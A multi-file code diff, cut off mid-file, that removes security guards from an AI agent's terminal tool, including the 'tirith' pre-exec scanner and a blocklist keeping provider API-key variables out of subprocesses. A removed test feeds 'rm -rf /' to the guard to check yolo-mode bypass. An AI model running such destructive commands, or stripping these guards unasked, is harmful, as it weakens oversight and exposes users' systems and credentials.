@pytest.fixture(autouse=True)
|
||||
def _clear_approval_state():
|
||||
approval_module._permanent_approved.clear()
|
||||
approval_module.clear_session("default")
|
||||
approval_module.clear_session("test-session")
|
||||
yield
|
||||
approval_module._permanent_approved.clear()
|
||||
approval_module.clear_session("default")
|
||||
approval_module.clear_session("test-session")
|
||||
from tools.approval import check_dangerous_command, detect_dangerous_command
|
||||
|
||||
|
||||
class TestYoloMode:
|
||||
@@ -72,24 +54,6 @@ class TestYoloMode:
|
||||
result = check_dangerous_command(cmd, "local")
|
||||
assert result["approved"], f"Command should be approved in yolo mode: {cmd}"
|
||||
|
||||
def test_combined_guard_bypasses_yolo_mode(self, monkeypatch):
|
||||
"""The new combined guard should preserve yolo bypass semantics."""
|
||||
monkeypatch.setenv("HERMES_YOLO_MODE", "1")
|
||||
monkeypatch.setenv("HERMES_INTERACTIVE", "1")
|
||||
|
||||
called = {"value": False}
|
||||
|
||||
def fake_check(command):
|
||||
called["value"] = True
|
||||
return {"action": "block", "findings": [], "summary": "should never run"}
|
||||
|
||||
monkeypatch.setattr(tools.tirith_security, "check_command_security", fake_check)
|
||||
|
||||
result = check_all_command_guards("rm -rf /", "local")
|
||||
assert result["approved"]
|
||||
assert result["message"] is None
|
||||
assert called["value"] is False
|
||||
|
||||
def test_yolo_mode_not_set_by_default(self):
|
||||
"""HERMES_YOLO_MODE should not be set by default."""
|
||||
# Clean env check — if it happens to be set in test env, that's fine,
|
||||
|
||||
+5
-147
@@ -167,24 +167,18 @@ def save_permanent_allowlist(patterns: set):
|
||||
|
||||
def prompt_dangerous_approval(command: str, description: str,
|
||||
timeout_seconds: int = 60,
|
||||
allow_permanent: bool = True,
|
||||
approval_callback=None) -> str:
|
||||
"""Prompt the user to approve a dangerous command (CLI only).
|
||||
|
||||
Args:
|
||||
allow_permanent: When False, hide the [a]lways option (used when
|
||||
tirith warnings are present, since broad permanent allowlisting
|
||||
is inappropriate for content-level security findings).
|
||||
approval_callback: Optional callback registered by the CLI for
|
||||
prompt_toolkit integration. Signature:
|
||||
(command, description, *, allow_permanent=True) -> str.
|
||||
prompt_toolkit integration. Signature: (command, description) -> str.
|
||||
|
||||
Returns: 'once', 'session', 'always', or 'deny'
|
||||
"""
|
||||
if approval_callback is not None:
|
||||
try:
|
||||
return approval_callback(command, description,
|
||||
allow_permanent=allow_permanent)
|
||||
return approval_callback(command, description)
|
||||
except Exception:
|
||||
return "deny"
|
||||
|
||||
@@ -197,10 +191,7 @@ def prompt_dangerous_approval(command: str, description: str,
|
||||
print(f" {command[:80]}{'...' if is_truncated else ''}")
|
||||
print()
|
||||
view_hint = " | [v]iew full" if is_truncated else ""
|
||||
if allow_permanent:
|
||||
print(f" [o]nce | [s]ession | [a]lways | [d]eny{view_hint}")
|
||||
else:
|
||||
print(f" [o]nce | [s]ession | [d]eny{view_hint}")
|
||||
print(f" [o]nce | [s]ession | [a]lways | [d]eny{view_hint}")
|
||||
print()
|
||||
sys.stdout.flush()
|
||||
|
||||
@@ -208,8 +199,7 @@ def prompt_dangerous_approval(command: str, description: str,
|
||||
|
||||
def get_input():
|
||||
try:
|
||||
prompt = " Choice [o/s/a/D]: " if allow_permanent else " Choice [o/s/D]: "
|
||||
result["choice"] = input(prompt).strip().lower()
|
||||
result["choice"] = input(" Choice [o/s/a/D]: ").strip().lower()
|
||||
except (EOFError, OSError):
|
||||
result["choice"] = ""
|
||||
|
||||
@@ -226,7 +216,7 @@ def prompt_dangerous_approval(command: str, description: str,
|
||||
print()
|
||||
print(" Full command:")
|
||||
print(f" {command}")
|
||||
is_truncated = False
|
||||
is_truncated = False # show full on next loop iteration too
|
||||
continue
|
||||
if choice in ('o', 'once'):
|
||||
print(" ✓ Allowed once")
|
||||
@@ -235,9 +225,6 @@ def prompt_dangerous_approval(command: str, description: str,
|
||||
print(" ✓ Allowed for this session")
|
||||
return "session"
|
||||
elif choice in ('a', 'always'):
|
||||
if not allow_permanent:
|
||||
print(" ✓ Allowed for this session")
|
||||
return "session"
|
||||
print(" ✓ Added to permanent allowlist")
|
||||
return "always"
|
||||
else:
|
||||
@@ -324,132 +311,3 @@ def check_dangerous_command(command: str, env_type: str,
|
||||
save_permanent_allowlist(_permanent_approved)
|
||||
|
||||
return {"approved": True, "message": None}
|
||||
|
||||
|
||||
# =========================================================================
|
||||
# Combined pre-exec guard (tirith + dangerous command detection)
|
||||
# =========================================================================
|
||||
|
||||
def check_all_command_guards(command: str, env_type: str,
|
||||
approval_callback=None) -> dict:
|
||||
"""Run all pre-exec security checks and return a single approval decision.
|
||||
|
||||
Gathers findings from tirith and dangerous-command detection, then
|
||||
presents them as a single combined approval request. This prevents
|
||||
a gateway force=True replay from bypassing one check when only the
|
||||
other was shown to the user.
|
||||
"""
|
||||
# Skip containers for both checks
|
||||
if env_type in ("docker", "singularity", "modal", "daytona"):
|
||||
return {"approved": True, "message": None}
|
||||
|
||||
# --yolo: bypass all approval prompts and pre-exec guard checks
|
||||
if os.getenv("HERMES_YOLO_MODE"):
|
||||
return {"approved": True, "message": None}
|
||||
|
||||
is_cli = os.getenv("HERMES_INTERACTIVE")
|
||||
is_gateway = os.getenv("HERMES_GATEWAY_SESSION")
|
||||
is_ask = os.getenv("HERMES_EXEC_ASK")
|
||||
|
||||
# Preserve the existing non-interactive behavior: outside CLI/gateway/ask
|
||||
# flows, we do not block on approvals and we skip external guard work.
|
||||
if not is_cli and not is_gateway and not is_ask:
|
||||
return {"approved": True, "message": None}
|
||||
|
||||
# --- Phase 1: Gather findings from both checks ---
|
||||
|
||||
# Tirith check — wrapper guarantees no raise for expected failures.
|
||||
# Only catch ImportError (module not installed).
|
||||
tirith_result = {"action": "allow", "findings": [], "summary": ""}
|
||||
try:
|
||||
from tools.tirith_security import check_command_security
|
||||
tirith_result = check_command_security(command)
|
||||
except ImportError:
|
||||
pass # tirith module not installed — allow
|
||||
|
||||
# Dangerous command check (detection only, no approval)
|
||||
is_dangerous, pattern_key, description = detect_dangerous_command(command)
|
||||
|
||||
# --- Phase 2: Decide ---
|
||||
|
||||
# If tirith blocks, block immediately (no approval possible)
|
||||
if tirith_result["action"] == "block":
|
||||
summary = tirith_result.get("summary") or "security issue detected"
|
||||
return {
|
||||
"approved": False,
|
||||
"message": f"BLOCKED: Command blocked by security scan ({summary}). Do NOT retry.",
|
||||
}
|
||||
|
||||
# Collect warnings that need approval
|
||||
warnings = [] # list of (pattern_key, description, is_tirith)
|
||||
|
||||
session_key = os.getenv("HERMES_SESSION_KEY", "default")
|
||||
|
||||
if tirith_result["action"] == "warn":
|
||||
findings = tirith_result.get("findings") or []
|
||||
rule_id = findings[0].get("rule_id", "unknown") if findings else "unknown"
|
||||
tirith_key = f"tirith:{rule_id}"
|
||||
tirith_desc = f"Security scan: {tirith_result.get('summary') or 'security warning detected'}"
|
||||
if not is_approved(session_key, tirith_key):
|
||||
warnings.append((tirith_key, tirith_desc, True))
|
||||
|
||||
if is_dangerous:
|
||||
if not is_approved(session_key, pattern_key):
|
||||
warnings.append((pattern_key, description, False))
|
||||
|
||||
# Nothing to warn about
|
||||
if not warnings:
|
||||
return {"approved": True, "message": None}
|
||||
|
||||
# --- Phase 3: Approval ---
|
||||
|
||||
# Combine descriptions for a single approval prompt
|
||||
combined_desc = "; ".join(desc for _, desc, _ in warnings)
|
||||
primary_key = warnings[0][0]
|
||||
all_keys = [key for key, _, _ in warnings]
|
||||
has_tirith = any(is_t for _, _, is_t in warnings)
|
||||
|
||||
# Gateway/async: single approval_required with combined description
|
||||
# Store all pattern keys so gateway replay approves all of them
|
||||
if is_gateway or is_ask:
|
||||
submit_pending(session_key, {
|
||||
"command": command,
|
||||
"pattern_key": primary_key, # backward compat
|
||||
"pattern_keys": all_keys, # all keys for replay
|
||||
"description": combined_desc,
|
||||
})
|
||||
return {
|
||||
"approved": False,
|
||||
"pattern_key": primary_key,
|
||||
"status": "approval_required",
|
||||
"command": command,
|
||||
"description": combined_desc,
|
||||
"message": f"⚠️ {combined_desc}. Asking the user for approval...",
|
||||
}
|
||||
|
||||
# CLI interactive: single combined prompt
|
||||
# Hide [a]lways when any tirith warning is present
|
||||
choice = prompt_dangerous_approval(command, combined_desc,
|
||||
allow_permanent=not has_tirith,
|
||||
approval_callback=approval_callback)
|
||||
|
||||
if choice == "deny":
|
||||
return {
|
||||
"approved": False,
|
||||
"message": "BLOCKED: User denied. Do NOT retry.",
|
||||
"pattern_key": primary_key,
|
||||
"description": combined_desc,
|
||||
}
|
||||
|
||||
# Persist approval for each warning individually
|
||||
for key, _, is_tirith in warnings:
|
||||
if choice == "session" or (choice == "always" and is_tirith):
|
||||
# tirith: session only (no permanent broad allowlisting)
|
||||
approve_session(session_key, key)
|
||||
elif choice == "always":
|
||||
# dangerous patterns: permanent allowed
|
||||
approve_session(session_key, key)
|
||||
approve_permanent(key)
|
||||
save_permanent_allowlist(_permanent_approved)
|
||||
|
||||
return {"approved": True, "message": None}
|
||||
|
||||
@@ -276,70 +276,12 @@ def _run_single_child(
|
||||
else:
|
||||
status = "failed"
|
||||
|
||||
# Build tool trace from conversation messages (already in memory).
|
||||
# Uses tool_call_id to correctly pair parallel tool calls with results.
|
||||
tool_trace: list[Dict[str, Any]] = []
|
||||
trace_by_id: Dict[str, Dict[str, Any]] = {}
|
||||
messages = result.get("messages") or []
|
||||
if isinstance(messages, list):
|
||||
for msg in messages:
|
||||
if not isinstance(msg, dict):
|
||||
continue
|
||||
if msg.get("role") == "assistant":
|
||||
for tc in (msg.get("tool_calls") or []):
|
||||
fn = tc.get("function", {})
|
||||
entry_t = {
|
||||
"tool": fn.get("name", "unknown"),
|
||||
"args_bytes": len(fn.get("arguments", "")),
|
||||
}
|
||||
tool_trace.append(entry_t)
|
||||
tc_id = tc.get("id")
|
||||
if tc_id:
|
||||
trace_by_id[tc_id] = entry_t
|
||||
elif msg.get("role") == "tool":
|
||||
content = msg.get("content", "")
|
||||
is_error = bool(
|
||||
content and "error" in content[:80].lower()
|
||||
)
|
||||
result_meta = {
|
||||
"result_bytes": len(content),
|
||||
"status": "error" if is_error else "ok",
|
||||
}
|
||||
# Match by tool_call_id for parallel calls
|
||||
tc_id = msg.get("tool_call_id")
|
||||
target = trace_by_id.get(tc_id) if tc_id else None
|
||||
if target is not None:
|
||||
target.update(result_meta)
|
||||
elif tool_trace:
|
||||
# Fallback for messages without tool_call_id
|
||||
tool_trace[-1].update(result_meta)
|
||||
|
||||
# Determine exit reason
|
||||
if interrupted:
|
||||
exit_reason = "interrupted"
|
||||
elif completed:
|
||||
exit_reason = "completed"
|
||||
else:
|
||||
exit_reason = "max_iterations"
|
||||
|
||||
# Extract token counts (safe for mock objects)
|
||||
_input_tokens = getattr(child, "session_prompt_tokens", 0)
|
||||
_output_tokens = getattr(child, "session_completion_tokens", 0)
|
||||
_model = getattr(child, "model", None)
|
||||
|
||||
entry: Dict[str, Any] = {
|
||||
"task_index": task_index,
|
||||
"status": status,
|
||||
"summary": summary,
|
||||
"api_calls": api_calls,
|
||||
"duration_seconds": duration,
|
||||
"model": _model if isinstance(_model, str) else None,
|
||||
"exit_reason": exit_reason,
|
||||
"tokens": {
|
||||
"input": _input_tokens if isinstance(_input_tokens, (int, float)) else 0,
|
||||
"output": _output_tokens if isinstance(_output_tokens, (int, float)) else 0,
|
||||
},
|
||||
"tool_trace": tool_trace,
|
||||
}
|
||||
if status == "failed":
|
||||
entry["error"] = result.get("error", "Subagent did not produce a response.")
|
||||
|
||||
@@ -5,20 +5,18 @@ import os
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
|
||||
def get_sandbox_dir() -> Path:
|
||||
"""Return the host-side root for all sandbox storage (Docker workspaces,
|
||||
Singularity overlays/SIF cache, etc.).
|
||||
|
||||
Configurable via TERMINAL_SANDBOX_DIR. Defaults to {HERMES_HOME}/sandboxes/.
|
||||
Configurable via TERMINAL_SANDBOX_DIR. Defaults to ~/.hermes/sandboxes/.
|
||||
"""
|
||||
custom = os.getenv("TERMINAL_SANDBOX_DIR")
|
||||
if custom:
|
||||
p = Path(custom)
|
||||
else:
|
||||
p = get_hermes_home() / "sandboxes"
|
||||
p = Path.home() / ".hermes" / "sandboxes"
|
||||
p.mkdir(parents=True, exist_ok=True)
|
||||
return p
|
||||
|
||||
|
||||
@@ -16,52 +16,6 @@ from tools.environments.base import BaseEnvironment
|
||||
# printf (no trailing newline) keeps the boundaries clean for splitting.
|
||||
_OUTPUT_FENCE = "__HERMES_FENCE_a9f7b3__"
|
||||
|
||||
# Hermes-internal env vars that should NOT leak into terminal subprocesses.
|
||||
# These are loaded from ~/.hermes/.env for Hermes' own LLM/provider calls
|
||||
# but can break external CLIs (e.g. codex) that also honor them.
|
||||
# See: https://github.com/NousResearch/hermes-agent/issues/1002
|
||||
#
|
||||
# Built dynamically from the provider registry so new providers are
|
||||
# automatically covered without manual blocklist maintenance.
|
||||
_HERMES_PROVIDER_ENV_FORCE_PREFIX = "_HERMES_FORCE_"
|
||||
|
||||
|
||||
def _build_provider_env_blocklist() -> frozenset:
|
||||
"""Derive the blocklist from the provider registry + known extras.
|
||||
|
||||
Automatically picks up api_key_env_vars and base_url_env_var from
|
||||
every registered provider, so adding a new provider to auth.py is
|
||||
enough — no manual list to keep in sync.
|
||||
"""
|
||||
blocked: set[str] = set()
|
||||
|
||||
try:
|
||||
from hermes_cli.auth import PROVIDER_REGISTRY
|
||||
for pconfig in PROVIDER_REGISTRY.values():
|
||||
blocked.update(pconfig.api_key_env_vars)
|
||||
if pconfig.base_url_env_var:
|
||||
blocked.add(pconfig.base_url_env_var)
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
# Vars not in the registry but still Hermes-internal / conflict-prone
|
||||
blocked.update({
|
||||
"OPENAI_BASE_URL",
|
||||
"OPENAI_API_KEY",
|
||||
"OPENAI_API_BASE", # legacy alias
|
||||
"OPENAI_ORG_ID",
|
||||
"OPENAI_ORGANIZATION",
|
||||
"OPENROUTER_API_KEY",
|
||||
"ANTHROPIC_BASE_URL",
|
||||
"ANTHROPIC_TOKEN", # OAuth token (not in registry as env var)
|
||||
"CLAUDE_CODE_OAUTH_TOKEN",
|
||||
"LLM_MODEL",
|
||||
})
|
||||
return frozenset(blocked)
|
||||
|
||||
|
||||
_HERMES_PROVIDER_ENV_BLOCKLIST = _build_provider_env_blocklist()
|
||||
|
||||
|
||||
def _find_bash() -> str:
|
||||
"""Find bash for command execution.
|
||||
@@ -238,18 +192,7 @@ class LocalEnvironment(BaseEnvironment):
|
||||
# Ensure PATH always includes standard dirs — systemd services
|
||||
# and some terminal multiplexers inherit a minimal PATH.
|
||||
_SANE_PATH = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
|
||||
# Strip Hermes-internal provider vars so external CLIs
|
||||
# (e.g. codex) are not silently misrouted. Callers that
|
||||
# truly need a blocked var can opt in by prefixing the key
|
||||
# with _HERMES_FORCE_ in self.env (e.g. _HERMES_FORCE_OPENAI_API_KEY).
|
||||
merged = dict(os.environ | self.env)
|
||||
run_env = {}
|
||||
for k, v in merged.items():
|
||||
if k.startswith(_HERMES_PROVIDER_ENV_FORCE_PREFIX):
|
||||
real_key = k[len(_HERMES_PROVIDER_ENV_FORCE_PREFIX):]
|
||||
run_env[real_key] = v
|
||||
elif k not in _HERMES_PROVIDER_ENV_BLOCKLIST:
|
||||
run_env[k] = v
|
||||
run_env = dict(os.environ | self.env)
|
||||
existing_path = run_env.get("PATH", "")
|
||||
if "/usr/bin" not in existing_path.split(":"):
|
||||
run_env["PATH"] = f"{existing_path}:{_SANE_PATH}" if existing_path else _SANE_PATH
|
||||
|
||||
@@ -13,13 +13,12 @@ import uuid
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, Optional
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
from tools.environments.base import BaseEnvironment
|
||||
from tools.interrupt import is_interrupted
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SNAPSHOT_STORE = get_hermes_home() / "modal_snapshots.json"
|
||||
_SNAPSHOT_STORE = Path.home() / ".hermes" / "modal_snapshots.json"
|
||||
|
||||
|
||||
def _load_snapshots() -> Dict[str, str]:
|
||||
|
||||
@@ -16,13 +16,12 @@ import uuid
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, Optional
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
from tools.environments.base import BaseEnvironment
|
||||
from tools.interrupt import is_interrupted
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_SNAPSHOT_STORE = get_hermes_home() / "singularity_snapshots.json"
|
||||
_SNAPSHOT_STORE = Path.home() / ".hermes" / "singularity_snapshots.json"
|
||||
|
||||
|
||||
def _load_snapshots() -> Dict[str, str]:
|
||||
|
||||
@@ -42,18 +42,16 @@ import time
|
||||
import uuid
|
||||
|
||||
_IS_WINDOWS = platform.system() == "Windows"
|
||||
from tools.environments.local import _find_shell, _HERMES_PROVIDER_ENV_BLOCKLIST
|
||||
from tools.environments.local import _find_shell
|
||||
from dataclasses import dataclass, field
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from hermes_cli.config import get_hermes_home
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Checkpoint file for crash recovery (gateway only)
|
||||
CHECKPOINT_PATH = get_hermes_home() / "processes.json"
|
||||
CHECKPOINT_PATH = Path(os.path.expanduser("~/.hermes/processes.json"))
|
||||
|
||||
# Limits
|
||||
MAX_OUTPUT_CHARS = 200_000 # 200KB rolling output buffer
|
||||
@@ -155,9 +153,7 @@ class ProcessRegistry:
|
||||
else:
|
||||
from ptyprocess import PtyProcess as _PtyProcessCls
|
||||
user_shell = _find_shell()
|
||||
pty_env = {k: v for k, v in os.environ.items()
|
||||
if k not in _HERMES_PROVIDER_ENV_BLOCKLIST}
|
||||
pty_env.update(env_vars or {})
|
||||
pty_env = os.environ | (env_vars or {})
|
||||
pty_env["PYTHONUNBUFFERED"] = "1"
|
||||
pty_proc = _PtyProcessCls.spawn(
|
||||
[user_shell, "-lic", command],
|
||||
@@ -198,9 +194,7 @@ class ProcessRegistry:
|
||||
# Force unbuffered output for Python scripts so progress is visible
|
||||
# during background execution (libraries like tqdm/datasets buffer when
|
||||
# stdout is a pipe, hiding output from process(action="poll")).
|
||||
bg_env = {k: v for k, v in os.environ.items()
|
||||
if k not in _HERMES_PROVIDER_ENV_BLOCKLIST}
|
||||
bg_env.update(env_vars or {})
|
||||
bg_env = os.environ | (env_vars or {})
|
||||
bg_env["PYTHONUNBUFFERED"] = "1"
|
||||
proc = subprocess.Popen(
|
||||
[user_shell, "-lic", command],
|
||||
|
||||
+21
-42
@@ -26,7 +26,6 @@ Usage:
|
||||
result = terminal_tool("python server.py", background=True)
|
||||
"""
|
||||
|
||||
import importlib.util
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
@@ -54,11 +53,10 @@ logger = logging.getLogger(__name__)
|
||||
from tools.interrupt import set_interrupt as set_interrupt_event, is_interrupted, _interrupt_event
|
||||
|
||||
|
||||
# Add mini-swe-agent to path if not installed. In git worktrees the populated
|
||||
# submodule may live in the main checkout rather than the worktree itself.
|
||||
from minisweagent_path import ensure_minisweagent_on_path
|
||||
|
||||
ensure_minisweagent_on_path(Path(__file__).resolve().parent.parent)
|
||||
# Add mini-swe-agent to path if not installed
|
||||
mini_swe_path = Path(__file__).parent.parent / "mini-swe-agent" / "src"
|
||||
if mini_swe_path.exists():
|
||||
sys.path.insert(0, str(mini_swe_path))
|
||||
|
||||
|
||||
# =============================================================================
|
||||
@@ -132,7 +130,6 @@ def set_approval_callback(cb):
|
||||
from tools.approval import (
|
||||
detect_dangerous_command as _detect_dangerous_command,
|
||||
check_dangerous_command as _check_dangerous_command_impl,
|
||||
check_all_command_guards as _check_all_guards_impl,
|
||||
load_permanent_allowlist as _load_permanent_allowlist,
|
||||
DANGEROUS_PATTERNS,
|
||||
)
|
||||
@@ -144,12 +141,6 @@ def _check_dangerous_command(command: str, env_type: str) -> dict:
|
||||
approval_callback=_approval_callback)
|
||||
|
||||
|
||||
def _check_all_guards(command: str, env_type: str) -> dict:
|
||||
"""Delegate to consolidated guard (tirith + dangerous cmd) with CLI callback."""
|
||||
return _check_all_guards_impl(command, env_type,
|
||||
approval_callback=_approval_callback)
|
||||
|
||||
|
||||
def _handle_sudo_failure(output: str, env_type: str) -> str:
|
||||
"""
|
||||
Check for sudo failure and add helpful message for messaging contexts.
|
||||
@@ -958,10 +949,10 @@ def terminal_tool(
|
||||
env = new_env
|
||||
logger.info("%s environment ready for task %s", env_type, effective_task_id[:8])
|
||||
|
||||
# Pre-exec security checks (tirith + dangerous command detection)
|
||||
# Check for dangerous commands (only for local/ssh in interactive modes)
|
||||
# Skip check if force=True (user has confirmed they want to run it)
|
||||
if not force:
|
||||
approval = _check_all_guards(command, env_type)
|
||||
approval = _check_dangerous_command(command, env_type)
|
||||
if not approval["approved"]:
|
||||
# Check if this is an approval_required (gateway ask mode)
|
||||
if approval.get("status") == "approval_required":
|
||||
@@ -971,13 +962,13 @@ def terminal_tool(
|
||||
"error": approval.get("message", "Waiting for user approval"),
|
||||
"status": "approval_required",
|
||||
"command": approval.get("command", command),
|
||||
"description": approval.get("description", "command flagged"),
|
||||
"description": approval.get("description", "dangerous command"),
|
||||
"pattern_key": approval.get("pattern_key", ""),
|
||||
}, ensure_ascii=False)
|
||||
# Command was blocked
|
||||
desc = approval.get("description", "command flagged")
|
||||
# Command was blocked - include the pattern category so the caller knows why
|
||||
desc = approval.get("description", "potentially dangerous operation")
|
||||
fallback_msg = (
|
||||
f"Command denied: {desc}. "
|
||||
f"Command denied: matches '{desc}' pattern. "
|
||||
"Use the approval prompt to allow it, or rephrase the command."
|
||||
)
|
||||
return json.dumps({
|
||||
@@ -1133,58 +1124,46 @@ def terminal_tool(
|
||||
|
||||
|
||||
def check_terminal_requirements() -> bool:
|
||||
"""Check if all requirements for the terminal tool are met.
|
||||
|
||||
Important: local and singularity backends now use Hermes' own environment
|
||||
wrappers directly and do not require the ``minisweagent`` Python package to
|
||||
be installed. Docker and Modal still rely on mini-swe-agent internals.
|
||||
"""
|
||||
"""Check if all requirements for the terminal tool are met."""
|
||||
config = _get_env_config()
|
||||
env_type = config["env_type"]
|
||||
|
||||
|
||||
try:
|
||||
if env_type == "local":
|
||||
# Local execution uses Hermes' own LocalEnvironment wrapper and does
|
||||
# not depend on minisweagent being importable.
|
||||
from minisweagent.environments.local import LocalEnvironment
|
||||
return True
|
||||
|
||||
elif env_type == "docker":
|
||||
ensure_minisweagent_on_path(Path(__file__).resolve().parent.parent)
|
||||
if importlib.util.find_spec("minisweagent") is None:
|
||||
logger.error("mini-swe-agent is required for docker terminal backend but is not importable")
|
||||
return False
|
||||
from minisweagent.environments.docker import DockerEnvironment
|
||||
# Check if docker is available (use find_docker for macOS PATH issues)
|
||||
from tools.environments.docker import find_docker
|
||||
import subprocess
|
||||
docker = find_docker()
|
||||
if not docker:
|
||||
logger.error("Docker executable not found in PATH or common install locations")
|
||||
return False
|
||||
result = subprocess.run([docker, "version"], capture_output=True, timeout=5)
|
||||
return result.returncode == 0
|
||||
|
||||
elif env_type == "singularity":
|
||||
from minisweagent.environments.singularity import SingularityEnvironment
|
||||
# Check if singularity/apptainer is available
|
||||
import subprocess
|
||||
import shutil
|
||||
executable = shutil.which("apptainer") or shutil.which("singularity")
|
||||
if executable:
|
||||
result = subprocess.run([executable, "--version"], capture_output=True, timeout=5)
|
||||
return result.returncode == 0
|
||||
return False
|
||||
|
||||
elif env_type == "ssh":
|
||||
from tools.environments.ssh import SSHEnvironment
|
||||
# Check that host and user are configured
|
||||
return bool(config.get("ssh_host")) and bool(config.get("ssh_user"))
|
||||
|
||||
elif env_type == "modal":
|
||||
ensure_minisweagent_on_path(Path(__file__).resolve().parent.parent)
|
||||
if importlib.util.find_spec("minisweagent") is None:
|
||||
logger.error("mini-swe-agent is required for modal terminal backend but is not importable")
|
||||
return False
|
||||
from minisweagent.environments.extra.swerex_modal import SwerexModalEnvironment
|
||||
# Check for modal token
|
||||
return os.getenv("MODAL_TOKEN_ID") is not None or Path.home().joinpath(".modal.toml").exists()
|
||||
|
||||
elif env_type == "daytona":
|
||||
from daytona import Daytona
|
||||
return os.getenv("DAYTONA_API_KEY") is not None
|
||||
|
||||
else:
|
||||
return False
|
||||
except Exception as e:
|
||||
|
||||
@@ -1,665 +0,0 @@
|
||||
"""Tirith pre-exec security scanning wrapper.
|
||||
|
||||
Runs the tirith binary as a subprocess to scan commands for content-level
|
||||
threats (homograph URLs, pipe-to-interpreter, terminal injection, etc.).
|
||||
|
||||
Exit code is the verdict source of truth:
|
||||
0 = allow, 1 = block, 2 = warn
|
||||
|
||||
JSON stdout enriches findings/summary but never overrides the verdict.
|
||||
Operational failures (spawn error, timeout, unknown exit code) respect
|
||||
the fail_open config setting. Programming errors propagate.
|
||||
|
||||
Auto-install: if tirith is not found on PATH or at the configured path,
|
||||
it is automatically downloaded from GitHub releases to $HERMES_HOME/bin/tirith.
|
||||
The download verifies SHA-256 checksums and cosign provenance (when cosign
|
||||
is available). Installation runs in a background thread so startup never
|
||||
blocks.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import platform
|
||||
import shutil
|
||||
import stat
|
||||
import subprocess
|
||||
import tarfile
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
import urllib.request
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
_REPO = "sheeki03/tirith"
|
||||
|
||||
# Cosign provenance verification — pinned to the specific release workflow
|
||||
_COSIGN_IDENTITY_REGEXP = f"^https://github.com/{_REPO}/\\.github/workflows/release\\.yml@refs/tags/v"
|
||||
_COSIGN_ISSUER = "https://token.actions.githubusercontent.com"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Config helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _env_bool(key: str, default: bool) -> bool:
|
||||
val = os.getenv(key)
|
||||
if val is None:
|
||||
return default
|
||||
return val.lower() in ("1", "true", "yes")
|
||||
|
||||
|
||||
def _env_int(key: str, default: int) -> int:
|
||||
val = os.getenv(key)
|
||||
if val is None:
|
||||
return default
|
||||
try:
|
||||
return int(val)
|
||||
except ValueError:
|
||||
return default
|
||||
|
||||
|
||||
def _load_security_config() -> dict:
|
||||
"""Load security settings from config.yaml, with env var overrides."""
|
||||
defaults = {
|
||||
"tirith_enabled": True,
|
||||
"tirith_path": "tirith",
|
||||
"tirith_timeout": 5,
|
||||
"tirith_fail_open": True,
|
||||
}
|
||||
try:
|
||||
from hermes_cli.config import load_config
|
||||
cfg = load_config().get("security", {}) or {}
|
||||
except Exception:
|
||||
cfg = {}
|
||||
|
||||
return {
|
||||
"tirith_enabled": _env_bool("TIRITH_ENABLED", cfg.get("tirith_enabled", defaults["tirith_enabled"])),
|
||||
"tirith_path": os.getenv("TIRITH_BIN", cfg.get("tirith_path", defaults["tirith_path"])),
|
||||
"tirith_timeout": _env_int("TIRITH_TIMEOUT", cfg.get("tirith_timeout", defaults["tirith_timeout"])),
|
||||
"tirith_fail_open": _env_bool("TIRITH_FAIL_OPEN", cfg.get("tirith_fail_open", defaults["tirith_fail_open"])),
|
||||
}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Auto-install
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
# Cached path after first resolution (avoids repeated shutil.which per command).
|
||||
# _INSTALL_FAILED means "we tried and failed" — prevents retry on every command.
|
||||
_resolved_path: str | None | bool = None
|
||||
_INSTALL_FAILED = False # sentinel: distinct from "not yet tried"
|
||||
_install_failure_reason: str = "" # reason tag when _resolved_path is _INSTALL_FAILED
|
||||
|
||||
# Background install thread coordination
|
||||
_install_lock = threading.Lock()
|
||||
_install_thread: threading.Thread | None = None
|
||||
|
||||
# Disk-persistent failure marker — avoids retry across process restarts
|
||||
_MARKER_TTL = 86400 # 24 hours
|
||||
|
||||
|
||||
def _get_hermes_home() -> str:
|
||||
"""Return the Hermes home directory, respecting HERMES_HOME env var.
|
||||
|
||||
Matches the convention used throughout the codebase (hermes_cli.config,
|
||||
cli.py, gateway/run.py, etc.) so tirith state stays inside the active
|
||||
profile and tests get automatic isolation via conftest's HERMES_HOME
|
||||
monkeypatch.
|
||||
"""
|
||||
return os.getenv("HERMES_HOME") or os.path.join(os.path.expanduser("~"), ".hermes")
|
||||
|
||||
|
||||
def _failure_marker_path() -> str:
|
||||
"""Return the path to the install-failure marker file."""
|
||||
return os.path.join(_get_hermes_home(), ".tirith-install-failed")
|
||||
|
||||
|
||||
def _read_failure_reason() -> str | None:
|
||||
"""Read the failure reason from the disk marker.
|
||||
|
||||
Returns the reason string, or None if the marker doesn't exist or is
|
||||
older than _MARKER_TTL.
|
||||
"""
|
||||
try:
|
||||
p = _failure_marker_path()
|
||||
mtime = os.path.getmtime(p)
|
||||
if (time.time() - mtime) >= _MARKER_TTL:
|
||||
return None
|
||||
with open(p, "r") as f:
|
||||
return f.read().strip()
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
|
||||
def _is_install_failed_on_disk() -> bool:
|
||||
"""Check if a recent install failure was persisted to disk.
|
||||
|
||||
Returns False (allowing retry) when:
|
||||
- No marker exists
|
||||
- Marker is older than _MARKER_TTL (24h)
|
||||
- Marker reason is 'cosign_missing' and cosign is now on PATH
|
||||
"""
|
||||
reason = _read_failure_reason()
|
||||
if reason is None:
|
||||
return False
|
||||
if reason == "cosign_missing" and shutil.which("cosign"):
